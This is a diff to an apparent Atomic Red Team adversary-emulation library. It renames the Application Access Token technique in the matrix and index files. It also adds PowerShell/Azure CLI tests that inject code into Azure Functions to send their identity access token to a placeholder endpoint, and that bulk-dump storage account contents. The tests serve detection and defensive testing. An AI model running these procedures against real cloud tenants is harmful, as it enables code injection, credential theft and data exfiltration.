| | [Command and Scripting Interpreter: PowerShell](../../T1059.001/T1059.001.md) | [Office Application Startup: Add-ins](../../T1137.006/T1137.006.md) | Additional Local or Domain Groups [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Bootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Unsecured Credentials](../../T1552/T1552.md) | [System Network Configuration Discovery](../../T1016/T1016.md) | [Use Alternate Authentication Material: Application Access Token](../../T1550.001/T1550.001.md) | DHCP Spoofing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | One-Way Communication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Data Encrypted for Impact](../../T1486/T1486.md) |
|
||||
| | [Scheduled Task/Job: Systemd Timers](../../T1053.006/T1053.006.md) | [Server Software Component: Transport Agent](../../T1505.002/T1505.002.md) | [Thread Execution Hijacking](../../T1055.003/T1055.003.md) | Mavinject [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Evil Twin [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Account Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | [Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay](../../T1557.001/T1557.001.md) | | [Proxy: Multi-hop Proxy](../../T1090.003/T1090.003.md) | Endpoint Denial of Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
|
||||
| | [Command and Scripting Interpreter: Bash](../../T1059.004/T1059.004.md) | AppDomainManager [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Event Triggered Execution: Application Shimming](../../T1546.011/T1546.011.md) | [Masquerading: Match Legitimate Name or Location](../../T1036.005/T1036.005.md) | Hybrid Identity [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Domain Trust Discovery](../../T1482/T1482.md) | | Web Portal Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | Data Obfuscation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Resource Hijacking](../../T1496/T1496.md) |
|
||||
| | [Inter-Process Communication](../../T1559/T1559.md) | Additional Container Cluster Roles [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Boot or Logon Autostart Execution: Port Monitors](../../T1547.010/T1547.010.md) | Weaken Encryption [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Credentials from Password Stores: Credentials from Web Browsers](../../T1555.003/T1555.003.md) | [File and Directory Discovery](../../T1083/T1083.md) | | [Video Capture](../../T1125/T1125.md) | | [Non-Standard Port](../../T1571/T1571.md) | Transmitted Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
|
||||
@@ -189,7 +189,7 @@
|
||||
| | | | | [XSL Script Processing](../../T1220/T1220.md) | | | | | | | |
|
||||
| | | | | [Hide Artifacts: Hidden Files and Directories](../../T1564.001/T1564.001.md) | | | | | | | |
|
||||
| | | | | Create Snapshot [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | | | | | | |
|
||||
| | | | | Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | | | | | | |
|
||||
| | | | | [Use Alternate Authentication Material: Application Access Token](../../T1550.001/T1550.001.md) | | | | | | | |
|
||||
| | | | | [Valid Accounts: Cloud Accounts](../../T1078.004/T1078.004.md) | | | | | | | |
|
||||
| | | | | Environmental Keying [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | | | | | | |
|
||||
| | | | | [Hide Artifacts: NTFS File Attributes](../../T1564.004/T1564.004.md) | | | | | | | |
|
||||
|
||||
@@ -14139,7 +14139,7 @@ defense-evasion:
|
||||
T1550.001:
|
||||
technique:
|
||||
modified: '2024-10-15T15:38:11.583Z'
|
||||
name: Application Access Token
|
||||
name: 'Use Alternate Authentication Material: Application Access Token'
|
||||
description: "Adversaries may use stolen application access tokens to bypass
|
||||
the typical authentication process and access restricted accounts, information,
|
||||
or services on remote systems. These tokens are typically stolen from users
|
||||
@@ -14270,6 +14270,7 @@ defense-evasion:
|
||||
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
|
||||
x_mitre_attack_spec_version: 3.2.0
|
||||
x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
|
||||
identifier: T1550.001
|
||||
atomic_tests: []
|
||||
T1078.004:
|
||||
technique:
|
||||
@@ -44824,7 +44825,7 @@ lateral-movement:
|
||||
T1550.001:
|
||||
technique:
|
||||
modified: '2024-10-15T15:38:11.583Z'
|
||||
name: Application Access Token
|
||||
name: 'Use Alternate Authentication Material: Application Access Token'
|
||||
description: "Adversaries may use stolen application access tokens to bypass
|
||||
the typical authentication process and access restricted accounts, information,
|
||||
or services on remote systems. These tokens are typically stolen from users
|
||||
@@ -44955,6 +44956,7 @@ lateral-movement:
|
||||
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
|
||||
x_mitre_attack_spec_version: 3.2.0
|
||||
x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
|
||||
identifier: T1550.001
|
||||
atomic_tests: []
|
||||
credential-access:
|
||||
T1557:
|
||||
|
||||
@@ -14063,7 +14063,7 @@ defense-evasion:
|
||||
T1550.001:
|
||||
technique:
|
||||
modified: '2024-10-15T15:38:11.583Z'
|
||||
name: Application Access Token
|
||||
name: 'Use Alternate Authentication Material: Application Access Token'
|
||||
description: "Adversaries may use stolen application access tokens to bypass
|
||||
the typical authentication process and access restricted accounts, information,
|
||||
or services on remote systems. These tokens are typically stolen from users
|
||||
@@ -14194,6 +14194,7 @@ defense-evasion:
|
||||
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
|
||||
x_mitre_attack_spec_version: 3.2.0
|
||||
x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
|
||||
identifier: T1550.001
|
||||
atomic_tests: []
|
||||
T1078.004:
|
||||
technique:
|
||||
@@ -44093,7 +44094,7 @@ lateral-movement:
|
||||
T1550.001:
|
||||
technique:
|
||||
modified: '2024-10-15T15:38:11.583Z'
|
||||
name: Application Access Token
|
||||
name: 'Use Alternate Authentication Material: Application Access Token'
|
||||
description: "Adversaries may use stolen application access tokens to bypass
|
||||
the typical authentication process and access restricted accounts, information,
|
||||
or services on remote systems. These tokens are typically stolen from users
|
||||
@@ -44224,6 +44225,7 @@ lateral-movement:
|
||||
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
|
||||
x_mitre_attack_spec_version: 3.2.0
|
||||
x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
|
||||
identifier: T1550.001
|
||||
atomic_tests: []
|
||||
credential-access:
|
||||
T1557:
|
||||
|
||||
@@ -13992,7 +13992,7 @@ defense-evasion:
|
||||
T1550.001:
|
||||
technique:
|
||||
modified: '2024-10-15T15:38:11.583Z'
|
||||
name: Application Access Token
|
||||
name: 'Use Alternate Authentication Material: Application Access Token'
|
||||
description: "Adversaries may use stolen application access tokens to bypass
|
||||
the typical authentication process and access restricted accounts, information,
|
||||
or services on remote systems. These tokens are typically stolen from users
|
||||
@@ -14123,6 +14123,7 @@ defense-evasion:
|
||||
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
|
||||
x_mitre_attack_spec_version: 3.2.0
|
||||
x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
|
||||
identifier: T1550.001
|
||||
atomic_tests: []
|
||||
T1078.004:
|
||||
technique:
|
||||
@@ -43668,7 +43669,7 @@ lateral-movement:
|
||||
T1550.001:
|
||||
technique:
|
||||
modified: '2024-10-15T15:38:11.583Z'
|
||||
name: Application Access Token
|
||||
name: 'Use Alternate Authentication Material: Application Access Token'
|
||||
description: "Adversaries may use stolen application access tokens to bypass
|
||||
the typical authentication process and access restricted accounts, information,
|
||||
or services on remote systems. These tokens are typically stolen from users
|
||||
@@ -43799,6 +43800,7 @@ lateral-movement:
|
||||
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
|
||||
x_mitre_attack_spec_version: 3.2.0
|
||||
x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
|
||||
identifier: T1550.001
|
||||
atomic_tests: []
|
||||
credential-access:
|
||||
T1557:
|
||||
|
||||
@@ -13992,7 +13992,7 @@ defense-evasion:
|
||||
T1550.001:
|
||||
technique:
|
||||
modified: '2024-10-15T15:38:11.583Z'
|
||||
name: Application Access Token
|
||||
name: 'Use Alternate Authentication Material: Application Access Token'
|
||||
description: "Adversaries may use stolen application access tokens to bypass
|
||||
the typical authentication process and access restricted accounts, information,
|
||||
or services on remote systems. These tokens are typically stolen from users
|
||||
@@ -14123,6 +14123,7 @@ defense-evasion:
|
||||
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
|
||||
x_mitre_attack_spec_version: 3.2.0
|
||||
x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
|
||||
identifier: T1550.001
|
||||
atomic_tests: []
|
||||
T1078.004:
|
||||
technique:
|
||||
@@ -43494,7 +43495,7 @@ lateral-movement:
|
||||
T1550.001:
|
||||
technique:
|
||||
modified: '2024-10-15T15:38:11.583Z'
|
||||
name: Application Access Token
|
||||
name: 'Use Alternate Authentication Material: Application Access Token'
|
||||
description: "Adversaries may use stolen application access tokens to bypass
|
||||
the typical authentication process and access restricted accounts, information,
|
||||
or services on remote systems. These tokens are typically stolen from users
|
||||
@@ -43625,6 +43626,7 @@ lateral-movement:
|
||||
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
|
||||
x_mitre_attack_spec_version: 3.2.0
|
||||
x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
|
||||
identifier: T1550.001
|
||||
atomic_tests: []
|
||||
credential-access:
|
||||
T1557:
|
||||
|
||||
@@ -14362,7 +14362,7 @@ defense-evasion:
|
||||
T1550.001:
|
||||
technique:
|
||||
modified: '2024-10-15T15:38:11.583Z'
|
||||
name: Application Access Token
|
||||
name: 'Use Alternate Authentication Material: Application Access Token'
|
||||
description: "Adversaries may use stolen application access tokens to bypass
|
||||
the typical authentication process and access restricted accounts, information,
|
||||
or services on remote systems. These tokens are typically stolen from users
|
||||
@@ -14493,6 +14493,7 @@ defense-evasion:
|
||||
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
|
||||
x_mitre_attack_spec_version: 3.2.0
|
||||
x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
|
||||
identifier: T1550.001
|
||||
atomic_tests: []
|
||||
T1078.004:
|
||||
technique:
|
||||
@@ -44202,7 +44203,7 @@ lateral-movement:
|
||||
T1550.001:
|
||||
technique:
|
||||
modified: '2024-10-15T15:38:11.583Z'
|
||||
name: Application Access Token
|
||||
name: 'Use Alternate Authentication Material: Application Access Token'
|
||||
description: "Adversaries may use stolen application access tokens to bypass
|
||||
the typical authentication process and access restricted accounts, information,
|
||||
or services on remote systems. These tokens are typically stolen from users
|
||||
@@ -44333,6 +44334,7 @@ lateral-movement:
|
||||
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
|
||||
x_mitre_attack_spec_version: 3.2.0
|
||||
x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
|
||||
identifier: T1550.001
|
||||
atomic_tests: []
|
||||
credential-access:
|
||||
T1557:
|
||||
|
||||
@@ -14072,7 +14072,7 @@ defense-evasion:
|
||||
T1550.001:
|
||||
technique:
|
||||
modified: '2024-10-15T15:38:11.583Z'
|
||||
name: Application Access Token
|
||||
name: 'Use Alternate Authentication Material: Application Access Token'
|
||||
description: "Adversaries may use stolen application access tokens to bypass
|
||||
the typical authentication process and access restricted accounts, information,
|
||||
or services on remote systems. These tokens are typically stolen from users
|
||||
@@ -14203,7 +14203,223 @@ defense-evasion:
|
||||
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
|
||||
x_mitre_attack_spec_version: 3.2.0
|
||||
x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
|
||||
atomic_tests: []
|
||||
identifier: T1550.001
|
||||
atomic_tests:
|
||||
- name: Azure - Functions code upload - Functions code injection via Blob upload
|
||||
auto_generated_guid: 9a5352e4-56e5-45c2-9b3f-41a46d3b3a43
|
||||
description: "This test injects code into an Azure Function (RCE).\n\nAttack
|
||||
idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/\n\nSimilar
|
||||
to T1550.001 \"Azure - Functions code upload - Functions code injection to
|
||||
retrieve the Functions identity access token\", the depicted code injection
|
||||
scenario tampers the source code of Azure Functions to perform Subscription
|
||||
Privilege Escalation by retrieving the identity access token of an Azure functions
|
||||
instance. In this case, the prepared zip file (underlying package for a Function)
|
||||
is expected to contain the tampered function presented in src/code_to_insert.py.
|
||||
Note that the endpoint https://changeme.net needs to be adapted in your packed
|
||||
function code.\n\nNote:\n- The Azure Function modified in this test must be
|
||||
hosted via Azure Blob storage (Info on storage considerations for Azure Function:
|
||||
https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations).
|
||||
\n- For Function code upload to Azure Functions that are hosted via Azure
|
||||
Files in a File Share, refer to T1550.001 \"Azure - Functions code upload
|
||||
- Functions code injection to retrieve the Functions identity access token\".\n-
|
||||
The required input fields can be retrieved in a reconnaissance step in test
|
||||
T1619 \"Azure - Enumerate Storage Account Objects via Key-based authentication
|
||||
using Azure CLI\". The code of function apps may be inspected and prepared
|
||||
from the result of test T1530 \"Azure - Dump Azure Storage Account Objects
|
||||
via Azure CLI\".\n\nRequirements:\n- The test is intended to be executed in
|
||||
interactive mode (with -Interactive parameter) in order to complete the az
|
||||
login command when MFA is required.\n- The EntraID user must have the role
|
||||
\"Storage Account Contributor\", or a role with similar permissions."
|
||||
supported_platforms:
|
||||
- iaas:azure
|
||||
input_arguments:
|
||||
storage_account_name:
|
||||
type: string
|
||||
default: storage_account_name_example
|
||||
description: Name of storage account that is related to the Function
|
||||
container_name:
|
||||
type: string
|
||||
default: container_name_example
|
||||
description: Name of the container that contains the function blob
|
||||
blob_name:
|
||||
type: string
|
||||
default: blob_example
|
||||
description: Name of the function blob
|
||||
file_path_blob:
|
||||
type: path
|
||||
default: "$env:temp/T1550.001_function_code.zip"
|
||||
description: Path to the function code file to upload as blob
|
||||
dependency_executor_name: powershell
|
||||
dependencies:
|
||||
- description: Azure CLI must be installed
|
||||
prereq_command: try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue)
|
||||
{exit 0} else {exit 1}} catch {exit 1}
|
||||
get_prereq_command: Install-Module -Name Az -Force
|
||||
executor:
|
||||
command: "az login # Log in to Azure CLI\n\n$allowSharedKeyAccess = az
|
||||
storage account show --name \"#{storage_account_name}\" --query \"allowSharedKeyAccess\"\n\nif
|
||||
($allowSharedKeyAccess -eq \"false\") { # $allowSharedKeyAccess could
|
||||
be true or null\n Write-Output \"Shared key access is disabled for this
|
||||
storage account.\"\n} else { \n $connectionString = az storage account
|
||||
show-connection-string --name \"#{storage_account_name}\" --query connectionString
|
||||
--output tsv\n\n # Download blob for cleanup\n $tmpOriginalFunctionCode
|
||||
= Join-Path $env:temp/ (\"T1550.001_tmp_original_\" + \"#{blob_name}\")\n
|
||||
\ az storage blob download --connection-string $connectionString --container-name
|
||||
\"#{container_name}\" --name \"#{blob_name}\" --file $tmpOriginalFunctionCode
|
||||
--overwrite true\n\n if ($LASTEXITCODE -eq 0) {\n # Upload new
|
||||
blob version if download of existing blob succeeded\n az storage
|
||||
blob upload --connection-string $connectionString --container-name \"#{container_name}\"
|
||||
--name \"#{blob_name}\" --file \"#{file_path_blob}\" --overwrite true\n
|
||||
\ } else {\n Write-Output \"Download original function code failed.\"\n
|
||||
\ exit 1\n }\n}\n"
|
||||
cleanup_command: |-
|
||||
az login # Log in to Azure CLI
|
||||
|
||||
# Upload previous funciton code
|
||||
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_original_" + "#{blob_name}")
|
||||
az storage blob upload --account-name "#{storage_account_name}" --container-name "#{container_name}" --file $tmpOriginalFunctionCode --name "#{blob_name}" --overwrite true 2>$null
|
||||
|
||||
if ($LASTEXITCODE -eq 0) {
|
||||
Write-Output "Uploaded original version of function code."
|
||||
|
||||
# Delete tmp original blob file if upload succeeded
|
||||
Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
|
||||
Write-Output "Deleted tmp original blob file: $($tmpOriginalFunctionCode)"
|
||||
} else {
|
||||
Write-Output "Upload original function code failed."
|
||||
}
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
- name: Azure - Functions code upload - Functions code injection via File Share
|
||||
modification to retrieve the Functions identity access token
|
||||
auto_generated_guid: 67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1
|
||||
description: "This test injects code into an Azure Function (RCE) to perform
|
||||
Subscription Privilege Escalation by retrieving the identity access token
|
||||
of an Azure functions instance.\n\nAttack idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/\n\nOnce
|
||||
executed, the \"https://changeme\" will retrieve the access token when the
|
||||
function app is executed on behalf of the tenant. The function may be triggered
|
||||
manually from authorized people, triggered in regular intervals, or in various
|
||||
other ways. The access token can then be used to perform further attack steps
|
||||
with the permissions that the function app holds (e.g. listening virtual machines).\n\nNote:
|
||||
\n- The Azure Function modified in this test must be hosted via Azure Files
|
||||
in a File Share (Info on storage considerations for Azure Function: https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations).\n-
|
||||
For Function code upload to Azure Functions that are hosted via Azure Blob
|
||||
storage, refer to T1550.001 \"Azure - Functions code upload - Functions code
|
||||
injection via Blob upload\".\n- The required input fields can be retrieved
|
||||
in a reconnaissance step in test T1619 \"Azure - Enumerate Storage Account
|
||||
Objects via Key-based authentication using Azure CLI\". The code of function
|
||||
apps may be inspected and prepared from the result of test T1530 \"Azure -
|
||||
Dump Azure Storage Account Objects via Azure CLI\".\n- Important: Change the
|
||||
https://changeme.net in code_to_insert_path to a self-controlled endpoint.
|
||||
This endpoint can be hosted e.g. as request bin via Pipedream to display the
|
||||
body of incoming POST requests.\n- The default injected code to retrieve the
|
||||
access token can be replaced by arbitrary other code. In this case: Replace
|
||||
the code defined in code_to_insert_path\n\nRequirements:\n- The test is intended
|
||||
to be executed in interactive mode (with -Interactive parameter) in order
|
||||
to complete the az login command when MFA is required.\n- The EntraID user
|
||||
must have the role \"Storage Account Contributor\", or a role with similar
|
||||
permissions.\n\nExecution options: Defined by the input field execution_option\n-
|
||||
insert_code: This option (1) downloads the existing funciton code into a tmp
|
||||
file, (2) injects the code from code_to_insert_path at the beginning of the
|
||||
file, and (3) uploads the tampered file to the targeted Azure Function code
|
||||
(Azure File Share File).\n- replace_file: This option uploads the function
|
||||
code defined in code_to_insert_path to the targeted Azure Function code (Azure
|
||||
File Share File)."
|
||||
supported_platforms:
|
||||
- iaas:azure
|
||||
input_arguments:
|
||||
storage_account_name:
|
||||
type: string
|
||||
default: storage_account_name_example
|
||||
description: Name of storage account that is related to the Function
|
||||
execution_option:
|
||||
type: string
|
||||
default: insert_code
|
||||
description: Chooses execution option insert_code, or replace_file
|
||||
file_share_name:
|
||||
type: string
|
||||
default: file_share_name_example
|
||||
description: Name of the file share that is related to the Function
|
||||
file_path:
|
||||
type: path
|
||||
default: site/wwwroot/function_app.py
|
||||
description: Path to the Function file in the file share
|
||||
code_to_insert_path:
|
||||
type: path
|
||||
default: "$PathToAtomicsFolder/T1550.001/src/code_to_insert.py"
|
||||
description: The code that will be injected into the Function
|
||||
dependency_executor_name: powershell
|
||||
dependencies:
|
||||
- description: Azure CLI must be installed
|
||||
prereq_command: try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue)
|
||||
{exit 0} else {exit 1}} catch {exit 1}
|
||||
get_prereq_command: Install-Module -Name Az -Force
|
||||
executor:
|
||||
command: "az login # Log in to Azure CLI\n\n$allowSharedKeyAccess = az
|
||||
storage account show --name \"#{storage_account_name}\" --query \"allowSharedKeyAccess\"\n\nif
|
||||
($allowSharedKeyAccess -eq \"false\") { # $allowSharedKeyAccess could
|
||||
be true or null\n Write-Output \"Shared key access is disabled for this
|
||||
storage account.\"\n} else {\n # Download file for cleanup\n $tmpOriginalFileName
|
||||
= [System.IO.Path]::GetFileName(\"#{file_path}\")\n $tmpOriginalFunctionCode
|
||||
= Join-Path $env:temp/ (\"T1550.001_tmp_original_\" + $tmpOriginalFileName)\n
|
||||
\ az storage file download --account-name \"#{storage_account_name}\"
|
||||
--share-name \"#{file_share_name}\" -p \"#{file_path}\" --only-show-errors
|
||||
--dest $tmpOriginalFunctionCode\n\n if ($LASTEXITCODE -eq 0) {\n #
|
||||
Upload new funciton code if download of existing code succeeded\n if
|
||||
(\"#{execution_option}\" -eq \"insert_code\") {\n # Download
|
||||
file from file share for injection\n $tmpFunctionCode = Join-Path
|
||||
$env:temp/ (\"T1550.001_tmp_to_inject_\" + $tmpOriginalFileName)\n az
|
||||
storage file download --account-name \"#{storage_account_name}\" --share-name
|
||||
\"#{file_share_name}\" -p \"#{file_path}\" --only-show-errors --dest $tmpFunctionCode\n
|
||||
\ \n if ($LASTEXITCODE -ne 0) {\n Write-Output
|
||||
\"Function code download failed.\"\n exit 1\n }\n
|
||||
\ Write-Output \"File downloaded: $($tmpFunctionCode)\"\n \n
|
||||
\ $insertContent = Get-Content -Path \"#{code_to_insert_path}\"
|
||||
-Raw # Load the content of the insert file\n \n $content
|
||||
= Get-Content -Path $tmpFunctionCode -Raw # Inject code to file\n $content
|
||||
= $insertContent + \"`n\" + $content # Insert the new code at the beginning\n
|
||||
\ $content | Set-Content -Path $tmpFunctionCode # Write
|
||||
the modified content to the file\n \n # Upload file
|
||||
to file share\n az storage file upload --account-name \"#{storage_account_name}\"
|
||||
--share-name \"#{file_share_name}\" -p \"#{file_path}\" --source $tmpFunctionCode
|
||||
--only-show-errors\n if ($LASTEXITCODE -ne 0) {\n Write-Output
|
||||
\"Function code upload failed.\"\n exit 1\n }\n
|
||||
\ Write-Output \"Uploaded the tampered file\"\n } elseif
|
||||
(\"#{execution_option}\" -eq \"replace_file\") {\n az storage
|
||||
file upload --account-name \"#{storage_account_name}\" --share-name \"#{file_share_name}\"
|
||||
-p \"#{file_path}\" --source \"#{code_to_insert_path}\" --only-show-errors\n
|
||||
\ if ($LASTEXITCODE -ne 0) {\n Write-Output \"Function
|
||||
code upload failed.\"\n exit 1\n }\n Write-Output
|
||||
\"Uploaded the tampered file\"\n } else {\n Write-Output
|
||||
\"Please choose a valid execution_option\"\n exit 1\n }\n
|
||||
\ } else {\n Write-Output \"Download original function code failed.\"\n
|
||||
\ exit 1\n }\n}"
|
||||
cleanup_command: |-
|
||||
az login # Log in to Azure CLI
|
||||
|
||||
# Upload previous funciton code
|
||||
$tmpOriginalFileName = [System.IO.Path]::GetFileName("#{file_path}")
|
||||
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_original_" + $tmpOriginalFileName)
|
||||
az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source $tmpOriginalFunctionCode --only-show-errors 2>$null
|
||||
|
||||
if ($LASTEXITCODE -eq 0) {
|
||||
Write-Output "Uploaded original version of function code."
|
||||
|
||||
# Delete tmp original f file if upload succeeded
|
||||
if ("#{execution_option}" -eq "insert_code") {
|
||||
$tmpFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_to_inject_" + $tmpOriginalFileName)
|
||||
Remove-Item -Path $tmpFunctionCode -Force -erroraction silentlycontinue
|
||||
Write-Output "Deleted tmp file: $($tmpFunctionCode)"
|
||||
}
|
||||
|
||||
# Delete tmp original file
|
||||
Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
|
||||
Write-Output "Deleted tmp original file: $($tmpOriginalFunctionCode)"
|
||||
} else {
|
||||
Write-Output "Upload original function code failed."
|
||||
}
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
T1078.004:
|
||||
technique:
|
||||
modified: '2024-10-14T22:11:30.271Z'
|
||||
@@ -40978,6 +41194,81 @@ collection:
|
||||
|
||||
'
|
||||
name: powershell
|
||||
- name: Azure - Dump Azure Storage Account Objects via Azure CLI
|
||||
auto_generated_guid: 67374845-b4c8-4204-adcc-9b217b65d4f1
|
||||
description: |-
|
||||
This test dumps the content of the storage account objects present in the file defined in file_shares_csv_file_path. Note that this file is created in the atomic test T1619 "Azure - Enumerate Storage Account Objects via Key-based authentication using Azure CLI". When created manually, it must contain the columns "ResourceGroup","StorageAccountName", "FileShareName", "ContainerName", "BlobName".
|
||||
|
||||
Requirements:
|
||||
- The test is intended to be executed in interactive mode (with -Interactive parameter) in order to complete the az login command when MFA is required.
|
||||
- The EntraID user must have the role "Storage Account Contributor", or a role with similar permissions.
|
||||
supported_platforms:
|
||||
- iaas:azure
|
||||
input_arguments:
|
||||
output_folder:
|
||||
type: path
|
||||
default: "$env:temp\\T1530_storage_account_objects"
|
||||
description: Folder path to output file share content to
|
||||
storage_account_objects_csv_file_path:
|
||||
type: path
|
||||
default: "$env:temp\\T1619_storage_account_objects.csv"
|
||||
description: Path to file that contains all storage account objects in form
|
||||
of a csv file. This may be the result from Test T1619 "Azure - Enumerate
|
||||
Storage Account Objects via Key-based authentication using Azure CLI".
|
||||
dependency_executor_name: powershell
|
||||
dependencies:
|
||||
- description: Azure CLI must be installed
|
||||
prereq_command: try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue)
|
||||
{exit 0} else {exit 1}} catch {exit 1}
|
||||
get_prereq_command: Install-Module -Name Az -Force
|
||||
executor:
|
||||
command: "$storage_account_objects = Import-Csv -Path \"#{storage_account_objects_csv_file_path}\"\n\n#
|
||||
Login to Azure\naz login\n\nif (-not (Test-Path -Path \"#{output_folder}\"))
|
||||
{\n New-Item -ItemType Directory -Path \"#{output_folder}\"\n}\n\nforeach
|
||||
($row in $storage_account_objects) {\n \n if ($row.FileShareName -ne
|
||||
\"\"){\n $allowSharedKeyAccess = az storage account show --name $row.StorageAccountName
|
||||
--resource-group $row.ResourceGroup --query \"allowSharedKeyAccess\"\n\n
|
||||
\ if ($allowSharedKeyAccess -eq \"false\") { # $allowSharedKeyAccess
|
||||
could be true or null\n Write-Output \"Shared key access is disabled
|
||||
for this storage account.\"\n } else {\n Write-Output
|
||||
\"Fetching content from file share: $($row.FileShareName) in storage account
|
||||
$($row.StorageAccountName) ...\"\n $connectionString = az storage
|
||||
account show-connection-string --name $row.StorageAccountName --resource-group
|
||||
$row.ResourceGroup --query connectionString --output tsv\n \n
|
||||
\ # Create folder for storage account objects\n $storageAccountOutputPath
|
||||
= Join-Path #{output_folder} \"$($row.ResourceGroup)_$($row.StorageAccountName)\"\n
|
||||
\ if (-not (Test-Path -Path $storageAccountOutputPath)) {\n New-Item
|
||||
-ItemType Directory -Path $storageAccountOutputPath\n }\n\n #
|
||||
create folder for file share content\n $fileSharePath = Join-Path
|
||||
-Path $storageAccountOutputPath $row.FileShareName\n if (-not
|
||||
(Test-Path -Path $fileSharePath)) {\n New-Item -ItemType
|
||||
Directory -Path $fileSharePath\n }\n az storage file
|
||||
download-batch --connection-string $connectionString --source $row.FileShareName
|
||||
--destination $fileSharePath\n }\n } elseif ($row.ContainerName
|
||||
-ne \"\" -and $row.BlobName -eq \"\") {\n $allowSharedKeyAccess =
|
||||
az storage account show --name $row.StorageAccountName --resource-group
|
||||
$row.ResourceGroup --query \"allowSharedKeyAccess\"\n\n if ($allowSharedKeyAccess
|
||||
-eq \"false\") { # $allowSharedKeyAccess could be true or null\n Write-Output
|
||||
\"Shared key access is disabled for this storage account.\"\n } else
|
||||
{\n Write-Output \"Fetching all blobs from container $($row.ContainerName)
|
||||
in storage account $($row.StorageAccountName) ...\"\n $connectionString
|
||||
= az storage account show-connection-string --name $row.StorageAccountName
|
||||
--resource-group $row.ResourceGroup --query connectionString --output tsv\n
|
||||
\ \n # Create folder for storage account objects\n
|
||||
\ $storageAccountOutputPath = Join-Path #{output_folder} \"$($row.ResourceGroup)_$($row.StorageAccountName)\"\n
|
||||
\ if (-not (Test-Path -Path $storageAccountOutputPath)) {\n New-Item
|
||||
-ItemType Directory -Path $storageAccountOutputPath\n }\n\n #
|
||||
create folder for blob content\n $containerFolderPath = Join-Path
|
||||
$storageAccountOutputPath $row.ContainerName\n if (-not (Test-Path
|
||||
-Path $containerFolderPath)) {\n New-Item -ItemType Directory
|
||||
-Path $containerFolderPath\n }\n az storage blob download-batch
|
||||
--destination $containerFolderPath --source $row.ContainerName --connection-string
|
||||
$connectionString\n }\n }\n}"
|
||||
cleanup_command: |-
|
||||
Remove-Item -Path "#{output_folder}" -Recurse -Force -erroraction silentlycontinue
|
||||
Write-Output "Removed #{output_folder}"
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
T1074.002:
|
||||
technique:
|
||||
modified: '2024-09-30T13:28:37.414Z'
|
||||
@@ -44236,7 +44527,7 @@ lateral-movement:
|
||||
T1550.001:
|
||||
technique:
|
||||
modified: '2024-10-15T15:38:11.583Z'
|
